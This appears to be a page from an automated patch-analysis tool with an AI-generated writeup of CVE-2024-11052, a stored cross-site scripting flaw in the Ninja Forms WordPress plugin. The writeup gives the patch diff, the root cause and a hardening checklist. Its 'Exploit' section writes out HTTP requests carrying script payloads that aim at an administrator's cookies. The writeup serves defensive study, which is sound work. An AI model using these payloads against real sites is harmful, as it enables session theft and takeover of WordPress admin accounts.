ANALYSIS · 649763fd· FINISHED 2026-06-13 · PATCHDIFF

ninja-forms3.8.19 → 3.8.20✓ COMPLETED

Files7

Vulnerable2

True positives0

CVE matched1

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2024-11052

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 7 CVE 1 Vuln 2

SORT

1 files · page 1/1

includes/Templates/admin-metaboxes-calcs.html.php

AI: 1 vulnerabilities

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVE-2024-11052

#%!d(float64=002)

1–1 of 1

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2024-11052

Security writeup for CVE-2024-11052

✓ 1 FILE

## The Exploit

An unauthenticated attacker can store a malicious JavaScript payload in a Ninja Forms calculation field, which will execute in the browser of any WordPress admin (or user viewing the form debug output) who accesses the affected page.

**Step 1: Store the XSS payload via the calculations parameter**

```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded

action=ninja_forms_submit&form_id=1&ninja_forms_fields[calculations][value]=<img src=x onerror="alert('XSS in calculations')">&ninja_forms_fields[calculations][raw]="><script>fetch('/wp-admin/')</script>&ninja_forms_fields[calculations][parsed]="<img src=x onerror="console.log(document.cookie)">
```

**Step 2: Trigger the payload by visiting the admin debug page**

```http
GET /wp-admin/admin.php?page=ninja_forms&tab=form_settings&form_id=1&calcs_debug=1 HTTP/1.1
Host: target.local
Cookie: wordpress_logged_in_*=<admin_session>
```

When an administrator visits the form settings page with `calcs_debug=1` appended, the stored payload in the `value`, `raw`, and `parsed` fields renders unescaped in the HTML response. The JavaScript executes immediately in the admin's browser context, allowing the attacker to steal session cookies, modify form settings, or perform admin actions on behalf of the logged-in user.

## What the Patch Did

**Before**

```php
echo( ' = ' . $contents[ 'value' ] );
if( isset( $_GET[ 'calcs_debug' ] ) ) {
    echo( '<br />RAW: ' . $contents[ 'raw' ]);
    echo( '<br />PARSED: ' . $contents[ 'parsed' ]);
}
```

**After**

```php
echo( ' = ' . esc_html( $contents[ 'value' ] ) );
if( isset( $_GET[ 'calcs_debug' ] ) ) {
    echo( '<br />RAW: ' . esc_html( $contents[ 'raw' ] ));
    echo( '<br />PARSED: ' . esc_html( $contents[ 'parsed' ] ) );
}
```

The patch wraps every instance of direct output with WordPress's `esc_html()` function, which HTML-entity-encodes special characters (`<`, `>`, `&`, `"`, `'`) before they reach the browser. This output-layer escape converts any injected markup into harmless text that renders literally rather than executing as code.

## Root Cause

**CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting).**

The attacker-controlled values arrive in the `calculations` field of a form submission (via the AJAX endpoint `admin-ajax.php`), are stored in the plugin's database without sanitization, and are later retrieved and output directly into HTML context in `admin-metaboxes-calcs.html.php` without escaping. The dataflow crosses two trust boundaries unchecked: (1) from user input to storage, and (2) from storage to rendering. The rendering sink (`echo`) is the critical failure point — it assumes `$contents['value']`, `$contents['raw']`, and `$contents['parsed']` contain only safe data, but no validation enforces that assumption.

## Why It Works

The load-bearing line is `esc_html( $contents[ 'value' ] )`. Without it, the string `<img src=x onerror="...">` flows directly into the HTML output and the browser parses the tag. With `esc_html()`, the `<` and `>` become `&lt;` and `&gt;`, so the browser renders the literal text instead of executing the tag.

The engineer applied `esc_html()` three times (once per variable) to achieve defense in depth: an attacker does not know in advance which field will be displayed to an admin, so plugging all three sinks eliminates the ambiguity. If the patch had escaped only `value` and left `raw` and `parsed` unescaped, an attacker could inject via the other fields and still achieve code execution. Consistency across all outputs also raises the bar for future mutations of the code — a maintainer who later removes one of the escapes will be working against the pattern established by the others.

## Hardening Checklist

- **Adopt a rule-based escape policy**: For every `echo`, `print`, or string interpolation that outputs to HTML, immediately ask "what encoding does this context require?" Use `esc_html()` for HTML text, `esc_attr()` for HTML attributes, `wp_kses_post()` for rich text, and `esc_url()` for URLs. Document this rule in a team style guide and enforce it in code review.

- **Sanitize at the entry point, escape at the exit**: Use `sanitize_text_field()` or `wp_kses_allowed_html()` when data enters via `$_POST` or the AJAX handler, regardless of whether you plan to escape it later. This ensures that even if a future developer removes an escape, the input is already harmless.

- **Use a linter or static analysis**: Run PHP CodeSniffer with the WordPress security sniffs on every commit. This tool detects unescaped output variables and will catch violations of the escape rule automatically.

- **Test XSS vectors in your test suite**: Write unit tests that pass a string like `<img src=x onerror="fail()">` through every input field and verify that the rendered output contains only HTML entities, never a raw `<` or `>` in HTML context. This makes regressions visible immediately.

- **Audit admin-only debug features**: Conditional output controlled by `$_GET` parameters (like `calcs_debug=1`) is a high-risk pattern because it is easy to forget that admins are still users. Escape all output from debug features the same way you would for public-facing output.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2024-11052
- https://www.wordfence.com/threat-intel/vulnerabilities/id/CVE-2024-11052

CVE CVE-2024-11052

PRODUCT ninja-forms

AFFECTED ≤ 3.8.19

FIXED IN 3.8.20

STATUS Generated

Security writeup · CVE-2024-11052

Source files · 1

includes/Templates/admin-metaboxes-calcs.html.php Linked

↗ NVD